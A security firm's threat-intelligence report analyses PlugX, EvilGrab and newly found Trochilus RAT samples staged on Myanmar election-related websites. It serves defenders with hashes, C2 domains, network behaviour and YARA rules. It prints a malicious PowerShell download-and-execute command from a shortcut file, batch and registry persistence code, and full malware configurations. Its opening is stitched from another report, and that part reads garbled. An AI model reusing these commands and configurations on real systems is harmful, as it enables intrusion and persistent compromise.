http://www.rsaconference.com/writable/presentations/file_upload/hta-w04a-dll-side-loading-a-thorn-in-the-side-ofthe-anti-virus-_av_-industry.pdf 32. http://pwc.blogs.com/cyber_security_updates/2016/03/taiwant-election-targetting.html 33. http://www.welivesecurity.com/2014/11/14/targeted-attacks-tibetan-advocates-using-g20-2014-summit-lure/ 34. https://citizenlab.org/2013/08/surtr-malware-family-targeting-the-tibetan-community/ 35. http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf Copyright 2016 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement About ASERT Arbor Security Engineering Response Team (ASERT) Arbor Networks delivers world- class network security research analysis benefit today's enterprise network operators. ASERT engineers researchers part elite group institutions that referred super remediators, represent best information security. This reflection having both visibility remediation capabilities majority service provider networks globally. ASERT shares operationally viable intelligence with hundreds international Computer Emergency Response Teams (CERTs) with thousands network operators intelligence briefs security content feeds. ASERT also operates world1s largest distributed honeynet, actively monitoring Internet threats around clock around globe ATLAS Arbor's global network sensors: http://atlas.arbor.net. This mission associated resources that Arbor Networks brings bear problem global Internet security impetus innovation research. view latest research, news, trends from Arbor, ASERT information security community large, visit Threat Portal http://www.arbornetworks.com/threats/. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger ASERT Threat Intelligence Report 2015-08 Uncovering the Seven Pointed Dagger Discovery of the Trochilus RAT and Other Targeted Threats Executive Summary Previously, Arbor ASERT discovered indicators of the PlugX APT malware being used in a manner that suggested the country of Mynamar may have been a target, or involved in staging other campaigns towards other targets. Strategic Web Compromise (aka Watering Hole ) tactics involving the placement of PlugX and other malware were discovered on Mynamar government and other Myanmar related websites. Analysis of malware configuration suggested that Special Economic Zones (SEZs) in Myanmar were of interest to the threat actors. These findings were released by ASERT in a report called Defending the White Elephant found at https://asert.arbornetworks.com/defending-the-white-elephant/ [1]. In addition to ASERT, threat activity has been documented by Palo Alto Networks in June 2015 concerning a Strategic Web Compromise of the Myanmar Presidential website that leveraged the Evilgrab malware [2]. Their research also indicates instances of the 9002 RAT being used on the same web infrastructure. Later, Citizen Lab published a report Targeted Malware Attacks against NGO Linked to Attacks on Burmese Government Websites on October 16, 2015 that linked Arbor research to campaigns against an unnamed NGO [3]. These events involved the PlugX malware, EvilGrab, and the 3102 variant of the 9002 RAT. After delivering our initial findings to the Myanmar CERT in August, additional malware was subsequently found on the Myanmar election site on October 20th, 2015 (now removed). Specifically, six RAR files containing two instances of PlugX, EvilGrab, an unknown malware, and two instances of a new APT malware called the Trochilus RAT - plus an instance of the 3012 variant of the 9002 RAT were found. These seven discovered malware offer threat actors a variety of capabilities including espionage and the means to move laterally within targets in order to achieve more strategic access. As these seven malware appear to be wielded by a distinct actor group (known to collaborators at Cisco s Talos Group as Group 27 ), we are theatrically characterizing this cluster of malware as the Seven Pointed Dagger. Information on threat actor TTP s can help other organizations increase awareness that can lead to greater resistance to and better detection of malice. ASERT continues to explore threat activity that has been uncovered and will provide additional reporting as needed. Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Report Overview and Major Findings The following infographic depicts the process by which the information in this report was uncovered. It can serve as a useful reference and to maintain context while following the written trail in the rest of this report. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Union Election Commission Website Malware: August-October, 2015 Several additional malware files were discovered on the Myanmar Union Election Commission (UEC) website since the prior report that was initially published on August 17, 2015 [4]. The presence of new malware after the initial notification process from Arbor indicates an ongoing compromise of the site and possibly related sites and suggests that a more diligent Incident Response process was required to discover all of the compromised infrastructure and victims of the malware activity. These newer files and related content shall be analyzed herein. Malware #1-6: Six RAR Files Containing PlugX, EvilGrab, an unknown malware, and the Trochilus RAT As documented in the Defending the White Elephant paper, several RAR files containing malware were discovered on the UEC website in the past. As of October 20, 2015 a new file was discovered at http://www.uecmyanmar[.]org/dmdocuments/UEC-Invitation.rar and was present as of November 2015. Following the trail left by this malware has helped ASERT uncover other related threat activity to include a cluster of six malware packages stored in RAR file format on a staging/distribution server. Malware #7: 3102 Variant of the 9002 RAT in Firefox Plugin An additional malware file was stored at http://www.uecmyanmar[.]org/plugins/system/jatabs/jatabs/FlashVideoPlayer.php and was submitted to VirusTotal on August 21, 2015 from Japan and later on October 13 from Singapore. FlashVideoPlayer.php contained a ZIP file that stored a Firefox plugin, which was used to launch the 3102 variant of the 9002 RAT. Another instance of this RAT was also mentioned by Citizen Lab in their report, Targeted Malware Attacks against NGO Linked to Attacks on Burmese Government Websites . The presence of the exact same RAT family inside the fake Firefox Plugin on the UEC website creates a link between this artifact and attacks on the unnamed NGO that were discussed inside the Citizen Lab report. Malware set #1: Six RAR files (two PlugX, one EvilGrab, one unknown, two Trochilus RAT) Figure 1: Screenshot of website containing additional malware (UEC-Invitiation.rar) as of October 20, 2015 Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger The newly observed file, stored in a RAR, is a storage tactic that has been previously observed on the same site. Two prior filenames (discussed in the White Elephant report) were invitations.rar and PlanProposal.rar. Inside the UEC-Invitation.rar file there is a folder called UEC Invitation that contains another folder called Invitation. Inside this folder is a shortcut file, Invitation.LNK with a timestamp of August 24, 2015. Analysis of the .LNK file turns up some interesting elements, such as the use of PowerShell inside the Target field, which performs a download and execute of additional malware. Figure 2: Analysis of the .LNK file reveals malicious Powershell Analysis of the LNK file metadata property store reveals some interesting aspects of the malware. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Figure 3: In-depth analysis of .LNK metadatda Figure 4: UNDP Myanmar a possible target or lure? Of interest is the System.ItemTypeText value (a so-called friendly name of a Windows element that is displayed during the use of an application) of UNDP, which may stand for the United Nations Development Program, the UN s global development network. The Myanmar-focused page for the UNDP [www.mm.undp.org] describes their mission as follows: In Myanmar, UNDP provides support to the national political and socio-economic reforms that underpin the country s transition . Therefore, the UNDP, or those that work with the UNDP may have been targeted and may still be a target. The System.DateCreated and System.DateModified values show September 15, 2014, which could indicate that campaign activity has been underway for over a year. It is also possible that this date could be modified. The next two fields of interest relate to the local filepath on the system that was used to create the LNK shortcut file. System.ItemFolderPathDisplayNarrow and System.ParsingPath both reveal the presence of a Dropbox folder, and an Admin subfolder that contains another folder named UNDP. Using cloud storage facilities appears to be a known tactic of this group of actors, as they were observed utilizing Google Drive as described in Targeted Attacks on an Environmental NGO by CitizenLab. To our Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger knowledge, these are the first signs that Dropbox may also have been used. The powershell is as follows (brackets added to any malicious contents to prevent accidental clicks): %windir%\System32\cmd.exe /c mode con cols=15 lines=1 & powershell (new-object System.Net.WebClient).DownloadFile('http://www.oma.org[.]tw/setup/note.exe','%TEMP%\note.exe'); StartProcess '%TEMP%\note.exe The shortcut uses a command prompt to run PowerShell to invoke a System.Net.WebClient class to use the DownloadFile method to get note.exe from target site, store it in %TEMP% then run the file. This powershell basically performs a typical download and execute function of the file located at http://www.oma.org[.]tw/setup/note.exe. The www.oma.org[.]tw site is the Occupational Medicine Association in R.O.C. . This site is or was insecure, as it had been compromised and defaced several times by apparently unrelated actors. The malware mentioned herein has since been removed. Figure 5: Setup directory containing two malware The payload of the first downloader, Note.exe also uses PowerShell to download and execute http://down.360safe.com/inst.exe, which is the 360Total Security (Qihoo 360) anti-malware app. PowerShell also downloads and executes the file Setup.exe from the same staging directory on www.oma.org[.]tw/setup/. Note.exe creates a persistence mechanism by creating a file called StartON.bat which is then added to the Windows registry. The relevant code is as follows: start /min powershell (new-object System.Net.WebClient).DownloadFile('http://down.360safe[.]com/inst.exe', 'C:\\ProgramData\\ChromeDel.exe'); Start-Process -Wait -FilePath C:\\ProgramData\\ChromeDel.exe echo start /min powershell (new-object System.Net.WebClient).DownloadFile('http://www.oma.org[.]tw/setup/Setup.exe', 'C:\\ProgramData\\ChromeDel.exe'); Start-Process 'C:\\ProgramData\\ChromeDel.exe'>C:\\ProgramData\\StartON.bat reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v StartON /t reg_sz /d C:\\ProgramData\\StartON.bat /f Setup.exe executes and drops two files: data.dat and shell.dll into the WEventsCache folder. Data.dat appears to be encrypted, and shell.dll attempts to pose as a binary associated with the UltraEdit application. Shell.dll appears to be a helper application known to its developers as Servant Shell. Based on review of the Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger code of the Trochilus RAT discovered by ASERT, shell.dll is a file generated when the RAT is compiled. A YARA rule for discovering additional samples of ServantShell was created. // servantshell.yara 10/26/15 // Arbor Networks ASERT Nov 2015 rule servantshell { strings: $string1 = "SelfDestruction.cpp" $string2 = "SvtShell.cpp" $string3 = "InitServant" $string4 = "DeinitServant" $string5 = "CheckDT" condition: all of them A relatively new feature of VirusTotal called RetroHunt was used with this YARA rule to discover other samples of this malware. The malware appears to be rare - out of 80 terabytes of malware stored inside VirusTotal at the time of search, only eight additional samples were discovered. One sample clearly revealed information about where the malware had been found in the wild. The location of a file analyzed by VT on 9-30-2015 was found on the staging/storage server and is still present at the time of this writing. Figure 6: Malware archive contains six APT-level threats This URL is hosted in an open directory where several other malware samples have been stored in the form of RAR files, and reveals a grouping of malware utilized in this and perhaps other campaigns. This site has been reported to the Myanmar CERT for incident response. New content has been added to the site as of Dec 10, 2015 (not reflected in the image to the left). The Last modified field suggests that this webserver has been used as a file staging location since at least April 10 of 2015. The first indicators of passive DNS activity on this domain name were observed on April 10 at 03:20:28. While further research is required to gain a better understanding of the distribution system at play, analysis of these files can provide insight into the threat campaign(s) at hand. The relevant file hashes, datestamps, and other data about the RAR files follows. An indented bullet means Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger that the prior bullet was an archive or installer file that contained the indented files. For example, in the first sample, Patch-update0409BAN.rar contained Setup.exe, SqmApi.dll, and plgus_res.dll. The file plgus_res.dll is an installer file that contains the five innermost files listed (starting with mcf.ep and ending with res.db). This format shall be used throughout the document. Files shall be discussed in date order, in order to get a sense of threat actor timelines and capabilities. Sample #1: PlugX MD5 (Patch-update0409BAN.rar) = 70f1a9ee69cea1b0f53099eb27753895 April 10, 2015 MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a MD5 (SqmApi.dll) = 660aa2b9375aaa8e0c1748974f130ba3 MD5 (plgus_res.dll) = c91a22de0d7010b334c6010f6bd67462 MD5 (mcf.ep) = 627aebf89b0771440cf7aa8e0a4db296 MD5 (mcf.exe) = 884d46c01c762ad6ddd2759fd921bf71 MD5 (mcutil.dat) = f02925b8d510e35cc33d662d2311f671 MD5 (mcutil.dll) = 72e59f6e07a7f9981ef98b541a05628c MD5 (res.db) = a453bb1f1b5bb3f4810e38290190516c Run-time files are placed into the TaskSchedulerCUDL folder, as specified in the PlugX configuration. Several of the files stored here are hidden from typical view using the System, Hidden attributes. The purpose of the long, apparently randomly named, files is a topic for further investigation. Table 1: PlugX filesystem activity Attribute File path and name C:\ProgramData\TaskSchedulerCUDL\lpversudxi C:\ProgramData\TaskSchedulerCUDL\mcf.ep C:\ProgramData\TaskSchedulerCUDL\mcf.exe %AppData%\Local\Temp\RarSFX0\mcf.exe C:\ProgramData\TaskSchedulerCUDL\mcutil.dll %AppData%\Local\Temp\RarSFX0\mcutil.dll C:\ProgramData\TaskSchedulerCUDL\ufbidruosivibuted MD5 hash 5f66c2e2679585d4e46a9a6a2b488bc5 627aebf89b0771440cf7aa8e0a4db296 884d46c01c762ad6ddd2759fd921bf71 56809e68c70179bc88eb980aa313c89a 4893758ff2ce2d6eeacbf5577f149301 Analysis of network traffic reveals that this malware makes an outbound connection to 222.222.222[.]222 on TCP/9999, a connection that has been seen in several other samples in the original cluster of six. During our analysis, this port was always non-responsive, yet attempted connections to 222.222.222[.]222 on TCP/9999 should be cause for concern. Next, the malware issues a DNS query for webhttps.websecexp[.]com, and receives a DNS response of 114.108.136[.]15. A connection to TCP/443 was then observed to this IP address. The use of port 443 is leveraged by the malwares own protocol (it is not SSL/TLS). A visual representation of the obfuscated traffic is included herein (red = client, blue = server). Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Figure 7: Obfuscated PlugX connection to C2 Network activity from this sample triggers the following Emerging Threats signature (based on a DNS lookup of a known malicious domain): [2021960] ET TROJAN PlugX or EvilGrab DNS Lookup (websecexp.com) (rev: 1) The full configuration of this PlugX sample is as follows: Sample Properties: [plugx] cnc: appeur.gnway.cc:90 [plugx] cnc: webhttps.websecexp.com:443 [plugx] cnc: usacia.websecexp.com:53 [plugx] cnc: usafbi.websecexp.com:25 [plugx] cnc1: webhttps.websecexp.com:443 (TCP / HTTP) [plugx] cnc2: usafbi.websecexp.com:25 (UDP) [plugx] cnc3: usacia.websecexp.com:53 (HTTP / UDP) [plugx] cnc4: appeur.gnway.cc:90 (TCP / HTTP) [plugx] cnc5: usafbi.websecexp.com:25 (TCP / HTTP) [plugx] cnc6: webhttps.websecexp.com:443 (HTTP / UDP) [plugx] cnc_auth_str: 0409 ARP CUDLL [plugx] dns: 168.126.63.1 [plugx] dns: 61.4.64.4 [plugx] dns: 8.8.8.8 [plugx] dns: 203.81.64.18 [plugx] enable_icmp_p2p: [plugx] enable_ipproto_p2p: 0 [plugx] enable_p2p_scan: [plugx] enable_tcp_p2p: [plugx] enable_udp_p2p: Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger [plugx] flags1: 4294967295 [plugx] flags2: [plugx] hide_dll: [plugx] http: http://hi.baidu.com/nvcvrclsnzaioxe/item/5e101810ed4197b665eabf [plugx] icmp_p2p_port: 1357 [plugx] injection: [plugx] inject_process: %windir%\system32\svchost.exe [plugx] inject_process: %ProgramFiles%\Internet Explorer\iexplore.exe [plugx] inject_process: %windir%\explorer.exe [plugx] inject_process: %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe [plugx] install_folder: %AUTO%\TaskSchedulerCUDL [plugx] ipproto_p2p_port: 1357 [plugx] keylogger: [plugx] mac_disable: 00:00:00:00:00:00 [plugx] mutex: Global\eNzAMQgOXyITQMt [plugx] persistence: Service + Run Key [plugx] plugx_auth_str: open [plugx] reg_hive: 2147483649 [plugx] reg_key: Software\Microsoft\Windows\CurrentVersion\Run [plugx] reg_value: McAfeeME [plugx] screenshot_folder: %AUTO%\TaskSchedulerCUDL\bNjWcdOXFiQIME [plugx] screenshots: 0 [plugx] screenshots_bits: [plugx] screenshots_keep: 3 [plugx] screenshots_qual: [plugx] screenshots_sec: [plugx] screenshots_zoom: 50 [plugx] service_desc: Windows McAfeeOEMInfo Service [plugx] service_display_name: McAfeeOEMInfoME [plugx] service_name: McAfeeOEMInfoME [plugx] sleep1: 100663296 [plugx] sleep2: [plugx] tcp_p2p_port: 1357 [plugx] uac_bypass_inject: %windir%\explorer.exe [plugx] uac_bypass_inject: %windir%\system32\dllhost.exe [plugx] uac_bypass_inject: %windir%\system32\msiexec.exe [plugx] uac_bypass_inject: %windir%\system32\rundll32.exe [plugx] uac_bypass_injection: [plugx] udp_p2p_port: 1357 Some interesting elements about this sample configuration reveal an infrastructure overlap with the PlugX samples profiled in the Defending the White Elephant paper. In addition to the fact that the samples were present on the same staging/storage server, overlapping configurations add weight to the idea that the same group of actors is involved. As far as deriving additional meaning from other elements in the configuration, the cnc_auth_str value of 0409 ARP CUDLL may be meaningful, and may indicate that the malware was built/configured on April 09 (and placed on the staging server the next day, indicated by the webserver timestamp). The http parameter pointing to a baidu.com site is used to deliver C2 s to PlugX in the event that all the C2 in the configuration are non-responsive. In this case, this content was unable to be recovered from the Baidu site. Each PlugX sample reviewed here sometimes has configuration overlap with other samples, which could indicate default values, or potentially values from previous campaigns that were not removed. Somewhat distinct groups of actors wielding PlugX may potentially be profiled from unique Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger configuration values across samples. Sample #2: PlugX MD5 (Patch-updateYBbyYB.rar) = 63a463f2c18676d868d39785a48f073a June 3, 2015 MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a MD5 (SqmApi.dll) = 1177bf095bc3673a7373ead852af3f6c MD5 (plgus_res.dll) = 69a00ee1aa56852bbd28bb9d9765b43c MD5 (Google.com.Logo) = 02c2450c19bc21391ba2835edf2dd745 MD5 (mcf.ep) = 57cc1ec6470e31ef20abde8e611125b5 MD5 (mcf.exe) = 884d46c01c762ad6ddd2759fd921bf71 MD5 (mcutil.dll) = 9e544eb353b78a6467858fda4b8ec14e MD5 (Norman.exe) = 23a3f48df4b36e3d2e63cde4b85cf4fa MD5 (elogger.dll) = 5ff63e07a481e8768b3ef4d9ee91f13d MD5 (mcf.exe) = 884d46c01c762ad6ddd2759fd921bf71 RarSFX1/ folder MD5 (mcutil.dll) = 9e544eb353b78a6467858fda4b8ec14e Figure 8: Signed Norman.exe file used for DLL sideloading Running setup.exe results in an update install success dialog box, followed by an attempted TCP connection to the previously mentioned site 222.222.222[.]222 on TCP/9999. One of the supporting files inside the plgus_res.dll archive is Norman.exe, a legitimate binary with the original name of zlh.exe known as the Program Manager Stub which is apparently created and signed by Norman AS. The certificate was valid from 10/10/2012 10/11/2015, overlapping with the timestamp used on the RAR file. The elogger.dll file executes (with WinExec) the file Google.com.Logo that was included in the same directory to add one additional layer of unpacking. Once the file Google.com.Logo is executed, it is removed from disk. Google.com.Logo is a RAR file that contains mcf.ep, mcf.exe, and mcutil.dll. Following the execution path of these files results in another instance of PlugX which is using the previously observed sites webhttps.websecexp[.]com, usafbi.websecexp[.]com, usacia.websecexp[.]com, and appeur[.]gnway.cc as C2, and a supplemental C2 pointer stored at http://epn.gov[.]co/plugins/search/search.html that was previously documented in our paper Defending the White Elephant Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger The complete PlugX configuration used in this sample is as follows: [plugx] cnc: appeur.gnway.cc:90 [plugx] cnc: webhttps.websecexp.com:443 [plugx] cnc: usacia.websecexp.com:53 [plugx] cnc: usafbi.websecexp.com:25 [plugx] cnc1: webhttps.websecexp.com:443 (TCP / HTTP) [plugx] cnc2: usafbi.websecexp.com:25 (UDP) [plugx] cnc3: usacia.websecexp.com:53 (HTTP / UDP) [plugx] cnc4: appeur.gnway.cc:90 (TCP / HTTP) [plugx] cnc5: usafbi.websecexp.com:25 (TCP / HTTP) [plugx] cnc6: webhttps.websecexp.com:443 (HTTP / UDP) [plugx] cnc_auth_str: 0528 ARPYB [plugx] dns: 168.126.63.1 [plugx] dns: 180.76.76.76 [plugx] dns: 8.8.8.8 [plugx] dns: 203.81.64.18 [plugx] enable_icmp_p2p: [plugx] enable_ipproto_p2p: 0 [plugx] enable_p2p_scan: [plugx] enable_tcp_p2p: [plugx] enable_udp_p2p: [plugx] flags1: 4294967295 [plugx] flags2: [plugx] hide_dll: [plugx] http: http://epn.gov.co/plugins/search/search.html [plugx] icmp_p2p_port: 1357 [plugx] injection: [plugx] inject_process: %windir%\system32\svchost.exe [plugx] inject_process: %ProgramFiles%\Internet Explorer\iexplore.exe [plugx] inject_process: %windir%\explorer.exe [plugx] inject_process: %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe [plugx] install_folder: %AUTO%\TempLog [plugx] ipproto_p2p_port: 1357 [plugx] keylogger: [plugx] mac_disable: 00:00:00:00:00:00 [plugx] mutex: Global\doWcQFXMASDGYkATMXXeKSsQ [plugx] persistence: Service + Run Key [plugx] plugx_auth_str: open [plugx] reg_hive: 2147483649 [plugx] reg_key: Software\Microsoft\Windows\CurrentVersion\Run [plugx] reg_value: EventLog [plugx] screenshot_folder: %AUTO%\TempLog\bSHAMAPUKhFs [plugx] screenshots: 0 [plugx] screenshots_bits: [plugx] screenshots_keep: 3 [plugx] screenshots_qual: [plugx] screenshots_sec: [plugx] screenshots_zoom: 50 [plugx] service_desc: Windows Management EventLogs [plugx] service_display_name: Windows Management EventLogs [plugx] service_name: Windows Management EventLogs [plugx] sleep1: 83886080 Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger [plugx] sleep2: [plugx] tcp_p2p_port: 1357 [plugx] uac_bypass_inject: %windir%\explorer.exe [plugx] uac_bypass_inject: %windir%\system32\dllhost.exe [plugx] uac_bypass_inject: %windir%\system32\msiexec.exe [plugx] uac_bypass_inject: %windir%\system32\rundll32.exe [plugx] uac_bypass_injection: [plugx] udp_p2p_port: 1357 Interesting observations of this sample include the cnc_auth_str of 0528 ARPYB which may indicate the malware creation or configuration date of Thursday, May 28, 2015. The staging date from the webserver timestamp is Wednesday June 3, 2015, possibly indicating that the threat actors did not work over the weekend. The presence of the common value between PlugX samples #1 and #2 could indicate someone s initials or have some other meaning that is not known. The four DNS IP addresses in the configuration file feature three of the same entries in sample #1, but this configuration reveals the addition of the DNS IP address 180.76.76[.]76, which resolves to public-dns-a.baidu[.]com. The injection_process values and the uac_bypass_inject values are the same between sample #1 and sample #2, but some other minor changes to the configuration were also observed. Sample #3: Unknown Malware MD5 (Security-Patch-Update333.rar) = 5ed8b90a8d5cabda83fc814e2bbd9600 September 2, 2015 MD5 (Security-Patch-Update.exe) = 82896b68314d108141728a4112618304 Security-Patch-Update.exe is a binary signed by Binzhoushi Yongyu Feed Co.,LTd The certificate is valid from 1/16/2014 1/17/2016. Execution of this malware creates an Internet Explorer folder that contains the following files: MD5 (conhost.exe) = f70b295c6a5121b918682310ce0c2165 Appears to be a legit SandboxIE file, originally named SandboxieBITS.exe that is signed by SANDBOXIE L.T.D. ASERT has 20 instances of this file being used in malware operations. Additionally, analysis of the files PEHash (ffb7a38174aab4744cc4a509e34800aee9be8e57) reveals 47 instances of the same or slightly modified file being used in various PlugX operations since at least 2013. This file imports functions from SBIeDll.dll. MD5 (SBieDll.dll) = 6c5f17cbd4d0f95fd8f9563219838a05 This file has its import section destroyed, suggesting that it is obfuscated and malicious and not a legitimate SbieDll.dll file. Additionally, the first instruction inside the DllEntryPoint is pusha which places the contents of all the registers on the stack and is often observed in packed malicious code. This DLL file is sideloaded by conhost.exe. MD5 (dll2.xor) = 8477f2b4602c552fad68f8c192beeebf Based upon the filename, this may be an XOR-ed DLL file. Additional analysis is required. MD5 (maindll.dll) = d8ede9e6c3a1a30398b0b98130ee3b38 Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger This binary is obfuscated and requires further analysis. MD5 (nvsvc.exe) = e0eb981ad6be0bd16246d5d442028687 This file uses Microsoft Foundation Classes (MFC) and is signed by Square Network Tech Co.,LTD from the city of Zhongshan, Guangdong province, China on November 12, 2014 at 9:01:58 PM (CN = Square Network Tech Co.,LTD (O = Square Network Tech Co.,LTD. L = Zhongshan, S = Guangdong, C = CN). The digital signature contains an attribute field 1.3.6.1.4.1.311.2.1.12 that lists the string Microsoft Windows Shell explorer https:www.trustasia.com and was valid from Feb 21, 2014 Feb 22, 2015. Trustasia.com is a digital certificate provider in Shanghai, China. MD5 (runas.exe) = 6a541de84074a2c4ff99eb43252d9030 This file contains a jump table with 7 cases, each leading to one of the five files dropped by the malware, with two additional files referenced that are not present: HOOK.DLL and mon. Further research and investigation is pending. To provide some limited initial insight, we can observe the presence of some interesting strings in memory as such: "admin||0902" "1qaz2wsx3edc" .data:0042C400 00000029 C \\Microsoft\\Internet Explorer\\conhost.exe .data:0042C42C 00000026 C \\Microsoft\\Internet Explorer\\dll2.xor .data:0042C454 00000029 C \\Microsoft\\Internet Explorer\\maindll.dll .data:0042C480 00000029 C \\Microsoft\\Internet Explorer\\SBieDll.dll .data:0042C4AC 00000027 C \\Microsoft\\Internet Explorer\\nvsvc.exe .data:0042C4D4 00000027 C \\Microsoft\\Internet Explorer\\runas.exe .data:0042C4FC 0000000F C %USERPROFILE%\\ .data:0042C50C 00000011 C Application Data .data:0042C520 0000000E C AppData\\Local .data:0042C534 0000000C C SHGetValueA .data:0042C540 0000000C C Shlwapi.dll .data:0042C54C 00000020 C SOFTWARE\\Micropoint\\Anti-Attack .data:0042C56C 00000009 C MP100000 .data:0042C578 00000012 C SOFTWARE\\JiangMin .data:0042C58C 0000000C C InstallPath .data:0042C598 00000014 C SOFTWARE\\rising\\RAV .data:0042C5AC 0000000C C installpath .data:0042C5B8 0000001C C SOFTWARE\\Avira\\Avira Destop .data:0042C5D4 00000005 C Path .data:0042C5DC 0000001C C SOFTWARE\\kingsoft\\Antivirus .data:0042C5F8 00000009 C WorkPath .data:0042C604 00000011 C Software\\360safe .data:0042C618 0000000C C DefaultSkin .data:0042C624 00000018 C SOFTWARE\\360Safe\\Liveup .data:0042C63C 00000005 C curl .data:0042C644 0000000D C 1qaz2wsx3edc This sample never generated any network activity during automated or manual analysis. Further analysis is required to obtain deeper insight into this sample (ASERT sample ID 29048791). Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Sample #4: The Newly Discovered Trochilus RAT This is the first instance of the Trochilus RAT observed by ASERT. While there is a chance that other threat intelligence analysts have discovered and documented this threat, we are unaware of any public reference to this malware being used in targeted campaigns. Based on the information we have access to, this appears to be a relatively new malware that has yet to be profiled. MD5 (Update-Patch0999999.rar) = 282cdf360dc627dac145842e666ea7e5 September 23, 2015 MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a MD5 (SqmApi.dll) = abef3efb5972cfe4abdc4a9c99f67f0e MD5 (System.dll) = 6f5257c0b8c0ef4d440f4f4fce85fb1b MD5 (plgus_res.dll) = 03ef3d0131f27416b17807ab3ccd1556 MD5 (data.dat) = 8c67c8b1b149d17bbe3a00c1aa6f940e MD5 (shell.dll) = 304d83e15cce9b8dc826cdee2a96ef62 This malware executes in memory only and the final payload never appears on disk in normal operations, however the binaries can be decoded and are subsequently easier to analyze. This sample makes an outbound connection to computer.security-centers[.]com at the current IP address of 211.255.32[.]130 on TCP/25 as well as a connection to the previously observed 222.222.222[.]222 on TCP/9999. Sample #4 and sample #6 are very similar (both instances of the Trochilus RAT), and will be covered in greater depth in a later section of this document. Sample #5: Grabber/EvilGrab While potentially dated, an in-depth analysis of EvilGrab can be found in the Trend Micro document Report on Targeted Attack Campaigns from 2013 [5]. MD5 (Security-Patch-Update.rar) = 76c0285bb89556564594ce1927b837b7 October 9, 2015 MD5 (Patch-Update.exe, IEChecker.exe) = 31c52be912b7269255ec669176663136 The final decrypted payload for this malware only executes in memory and never touches disk, but is instead injected into ctfmon.exe. Therefore, analysis of memory dumps for detection and classification may prove fruitful. The following YARA rule can be used to aid such investigations. // detects instances of EvilGrab aka Grabber malware. // Arbor Networks ASERT Nov 2015 rule evilgrab strings: $str1 = "%cload crypt32.dll error" $str2 = "Outlook2003_HTTP" $str3 = "Outlook2002_HTTP" Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger $str4 = "HTTP Server URL" $str5 = "Outlook2003_IMAP" $str6 = "Outlook2002_IMAP" $str7 = "%cget %s 's password error!" $str8 = "GetTcpTable failed with %d" $str9 = "" $str10 = "" $str11 = "%USERPROFILE%\users.bin" $str12 = "%c%s|(%s)|%d|%s|%s|%s|%s|%s|%s|%s|%d|%d|%x|%x|%s|" condition: 8 of them The file inside the RAR, IEChecker.exe, is a DLL file that contains a variety of obfuscation techniques including dynamic string reassembly for the loading of API calls. This sample matches indicators for the EvilGrab malware mentioned by Palo Alto networks [2] but this file has a distinct hash. Incidentally, the threat actors and/or developer of the malware appear to have named it Grabber based on development strings found therein. Others have called this malware Tiger Shark RAT The C2 information on this sample (dns[.]websecexp.com, ns[.]websecexp.com, appeur[.]gnway.cc), the mutex (New2010-V3-Uninstall), and the version (v2014-v05) are identical to elements observed in the malware that was profiled by Palo Alto Networks. The Grabber sample also initiates unusual network connections via an HTTP GET request: Figure 9: Evilgrab/Grabber malware malformed HTTP beacon Items of interest in this beacon include the presence of five extraneous bytes prior to the HTTP GET request. These five bytes, plus the Host: header and the Accept-Language header of zh-cn and the unique Microsoft string make for a solid network signature and an addition to YARA rules for malware hunting. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Sample #6: Trochilus RAT Sample #4 and #6 are both instances of the newly discovered Trochilus RAT. MD5 (Update-Patch.rar) = 4e666c05656080180068f35cc7b026cb October 21, 2015 MD5 (Setup.exe) = 9d04bd9a340eca1b92fe05755e9b349a MD5 (SqmApi.dll) = abef3efb5972cfe4abdc4a9c99f67f0e MD5 (plgus_res.dll) = 34dcfa1fa3e1573b2c401c195fb55833 MD5 (shell.dll) = fb1d808c6d332fc8176cfa00a8325341 MD5 (data.dat) = 15e16b0659d30e77f21807f779df0f4b Trochilus RAT analysis (samples #4 and #6) Since sample #4 and #6 are very similar, we will dive deeper into an analysis of sample #4, the first instance of the Trochilus RAT that we encountered, named Update-Patch0999999.rar. Analysis reveals potentially useful timestamps of files inside the RAR - Setup.exe is from March 10, 2014 and the other two files are from September 23, 2015. Figure 10: Files from unpacked RAR of sample #4, Trochilus RAT Figure 11: Initial execution pop-up message The file Setup.exe is a signed binary that appears to be a part of a legitimate Microsoft Security Essentials package (http://binarydb.com/soft/Microsoft-Security-Essentials-v327664/2) that loads a legitimate binary named SqmApi.dll as part of normal operations (sqmapi is inside the binaries import table). When Setup.exe is executed, it 